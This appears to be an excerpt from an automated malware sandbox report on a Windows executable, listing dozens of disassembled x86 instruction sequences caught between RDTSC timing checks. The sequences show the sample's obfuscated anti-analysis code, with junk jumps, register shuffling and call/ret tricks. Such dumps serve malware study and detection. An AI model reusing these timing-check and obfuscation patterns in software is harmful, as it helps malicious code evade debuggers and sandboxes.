Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5040AAA second address: 5040B48 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E011A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FE8C4E011A1h 0x0000000f xchg eax, esi 0x00000010 jmp 00007FE8C4E0119Eh 0x00000015 mov esi, dword ptr [ebp+0Ch] 0x00000018 jmp 00007FE8C4E011A0h 0x0000001d test esi, esi 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FE8C4E0119Eh 0x00000026 sub ch, 00000028h 0x00000029 jmp 00007FE8C4E0119Bh 0x0000002e popfd 0x0000002f push esi 0x00000030 jmp 00007FE8C4E0119Fh 0x00000035 pop ecx 0x00000036 popad 0x00000037 je 00007FE935E4EA1Fh 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007FE8C4E011A2h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5040B48 second address: 5040B70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E5DB2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [760F459Ch], 05h 0x00000010 pushad 0x00000011 mov bx, ax 0x00000014 mov ch, 9Dh 0x00000016 popad 0x00000017 je 00007FE935EC3458h 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 mov dl, D3h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5040B70 second address: 5040BD8 instructions: 0x00000000 rdtsc 0x00000002 movzx eax, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebx, 13045830h 0x0000000c popad 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FE8C4E011A2h 0x00000015 xor si, 4878h 0x0000001a jmp 00007FE8C4E0119Bh 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007FE8C4E011A8h 0x00000026 sub cl, FFFFFFD8h 0x00000029 jmp 00007FE8C4E0119Bh 0x0000002e popfd 0x0000002f popad 0x00000030 mov dword ptr [esp], esi 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 mov dx, 6BC6h 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5040BD8 second address: 5040BDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5040C4C second address: 5040C52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 5040C52 second address: 5040C56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 656F85D second address: 656F86C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 ja 00007FE8C4E011A2h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 656F86C second address: 656F872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 656FAF4 second address: 656FAF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 656FFAE second address: 656FFB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 656FFB4 second address: 656FFB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65719CF second address: 65719D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65719D3 second address: 6571A38 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FE8C4E01196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FE8C4E011A7h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 jmp 00007FE8C4E0119Ah 0x0000001a mov eax, dword ptr [eax] 0x0000001c pushad 0x0000001d push eax 0x0000001e jl 00007FE8C4E01196h 0x00000024 pop eax 0x00000025 jmp 00007FE8C4E0119Fh 0x0000002a popad 0x0000002b mov dword ptr [esp+04h], eax 0x0000002f pushad 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007FE8C4E011A2h 0x00000037 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 6571A38 second address: 6571A41 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 6571AE7 second address: 6571B9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E011A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a add dword ptr [esp], 4EF3588Ah 0x00000011 jmp 00007FE8C4E011A1h 0x00000016 push 00000003h 0x00000018 call 00007FE8C4E011A9h 0x0000001d pop esi 0x0000001e push 00000000h 0x00000020 mov cx, ax 0x00000023 mov ecx, dword ptr [ebp+122D2EECh] 0x00000029 push 00000003h 0x0000002b sub edi, 3196D0CDh 0x00000031 push 8692905Eh 0x00000036 push ebx 0x00000037 push esi 0x00000038 jns 00007FE8C4E01196h 0x0000003e pop esi 0x0000003f pop ebx 0x00000040 xor dword ptr [esp], 4692905Eh 0x00000047 mov dx, 307Fh 0x0000004b lea ebx, dword ptr [ebp+124578FBh] 0x00000051 jmp 00007FE8C4E011A8h 0x00000056 xchg eax, ebx 0x00000057 pushad 0x00000058 jmp 00007FE8C4E0119Ah 0x0000005d pushad 0x0000005e jmp 00007FE8C4E0119Fh 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 6571CC8 second address: 6571CE9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE8C4E5DB28h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE8C4E5DB32h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 6571CE9 second address: 6571CFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE8C4E0119Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 6571CFB second address: 6571CFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 6571CFF second address: 6571D0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push edi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 6571D0F second address: 6571D1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edi 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 6571D1E second address: 6571D27 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 6571E11 second address: 6571E16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 6571E16 second address: 6571E1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 6571E1B second address: 6571E66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8C4E5DB2Ch 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push ebx 0x0000000e jnl 00007FE8C4E5DB2Ch 0x00000014 pop ebx 0x00000015 nop 0x00000016 jc 00007FE8C4E5DB2Ah 0x0000001c mov cx, 4400h 0x00000020 push 00000000h 0x00000022 mov di, ax 0x00000025 push F4B906CCh 0x0000002a push eax 0x0000002b push edx 0x0000002c js 00007FE8C4E5DB32h 0x00000032 jmp 00007FE8C4E5DB2Ch 0x00000037 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 6571E66 second address: 6571E6B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 6571E6B second address: 6571ED8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 add dword ptr [esp], 0B46F9B4h 0x0000000e movsx ecx, di 0x00000011 push 00000003h 0x00000013 mov esi, dword ptr [ebp+122D3BD8h] 0x00000019 push 00000000h 0x0000001b mov di, bx 0x0000001e push 00000003h 0x00000020 jmp 00007FE8C4E5DB33h 0x00000025 call 00007FE8C4E5DB29h 0x0000002a pushad 0x0000002b je 00007FE8C4E5DB2Ch 0x00000031 jnp 00007FE8C4E5DB26h 0x00000037 jc 00007FE8C4E5DB2Ch 0x0000003d popad 0x0000003e push eax 0x0000003f pushad 0x00000040 jmp 00007FE8C4E5DB32h 0x00000045 push ecx 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 6571ED8 second address: 6571EF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007FE8C4E0119Eh 0x0000000f mov eax, dword ptr [eax] 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 6571EF7 second address: 6571EFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65921AF second address: 65921D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8C4E011A0h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FE8C4E0119Ah 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 655CF13 second address: 655CF18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 659062E second address: 6590664 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007FE8C4E011A8h 0x0000000b jmp 00007FE8C4E011A4h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 659094F second address: 6590954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 6590EB1 second address: 6590EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 6591146 second address: 659115F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8C4E5DB33h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 659115F second address: 6591174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FE8C4E0119Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 6591174 second address: 659117A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 659117A second address: 659119C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jnl 00007FE8C4E011A2h 0x0000000e push eax 0x0000000f push edx 0x00000010 js 00007FE8C4E01196h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 658988D second address: 6589894 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65599D8 second address: 65599EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE8C4E0119Bh 0x00000009 jno 00007FE8C4E01196h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 6591920 second address: 6591924 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 6591924 second address: 659192A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 6591C25 second address: 6591C54 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007FE8C4E5DB31h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FE8C4E5DB34h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 6597EB2 second address: 6597EB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 659E479 second address: 659E47D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 659E47D second address: 659E489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 659D7ED second address: 659D7F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 659D7F1 second address: 659D7FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 659D7FB second address: 659D813 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E5DB32h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 659D813 second address: 659D85F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 ja 00007FE8C4E01196h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jne 00007FE8C4E011A2h 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c jmp 00007FE8C4E011A8h 0x00000021 jo 00007FE8C4E01196h 0x00000027 popad 0x00000028 pushad 0x00000029 push eax 0x0000002a pop eax 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 659D9A9 second address: 659D9B5 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE8C4E5DB2Eh 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 659DB0D second address: 659DB13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 659DB13 second address: 659DB17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 659E29A second address: 659E29E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 659E29E second address: 659E2BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FE8C4E5DB33h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 659E2BD second address: 659E2C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 659E2C1 second address: 659E2E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007FE8C4E5DB26h 0x00000010 jmp 00007FE8C4E5DB2Fh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65A0184 second address: 65A01C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE8C4E011A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jg 00007FE8C4E01196h 0x00000010 pop eax 0x00000011 popad 0x00000012 xor dword ptr [esp], 5D105469h 0x00000019 mov edi, dword ptr [ebp+122D2E30h] 0x0000001f push 9FB15E32h 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65A01C1 second address: 65A01C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65A05AC second address: 65A05B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65A05B0 second address: 65A05B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65A065A second address: 65A0660 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65A0660 second address: 65A0664 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65A0EE9 second address: 65A0EED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65A10BA second address: 65A10C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65A11D3 second address: 65A11E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE8C4E0119Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65A1327 second address: 65A1333 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65A225E second address: 65A22D5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007FE8C4E01198h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 00000017h 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push eax 0x0000002b call 00007FE8C4E01198h 0x00000030 pop eax 0x00000031 mov dword ptr [esp+04h], eax 0x00000035 add dword ptr [esp+04h], 00000018h 0x0000003d inc eax 0x0000003e push eax 0x0000003f ret 0x00000040 pop eax 0x00000041 ret 0x00000042 jc 00007FE8C4E0119Ch 0x00000048 sub dword ptr [ebp+122D2ED9h], edx 0x0000004e xchg eax, ebx 0x0000004f push esi 0x00000050 jmp 00007FE8C4E011A0h 0x00000055 pop esi 0x00000056 push eax 0x00000057 je 00007FE8C4E011A8h 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65A22D5 second address: 65A22D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65A22D9 second address: 65A22DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65A47B1 second address: 65A47D8 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FE8C4E5DB26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007FE8C4E5DB32h 0x00000012 push eax 0x00000013 push edx 0x00000014 je 00007FE8C4E5DB26h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65A54C9 second address: 65A54CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65A5233 second address: 65A5237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65A5EAF second address: 65A5EBB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65A68C2 second address: 65A68C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65A68C8 second address: 65A68CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65A68CC second address: 65A6927 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007FE8C4E5DB28h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 pushad 0x00000026 mov dword ptr [ebp+122D23B0h], ebx 0x0000002c xor dword ptr [ebp+12484FAFh], ebx 0x00000032 popad 0x00000033 push 00000000h 0x00000035 movsx edi, di 0x00000038 push 00000000h 0x0000003a jnp 00007FE8C4E5DB2Ch 0x00000040 mov esi, 65110B48h 0x00000045 xchg eax, ebx 0x00000046 push ecx 0x00000047 push eax 0x00000048 push edx 0x00000049 push ebx 0x0000004a pop ebx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65A6927 second address: 65A6940 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE8C4E01196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c pushad 0x0000000d ja 00007FE8C4E01198h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\f48jWpQ2F8.exe	RDTSC instruction interceptor: First address: 65AB423 second address: 65AB427 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
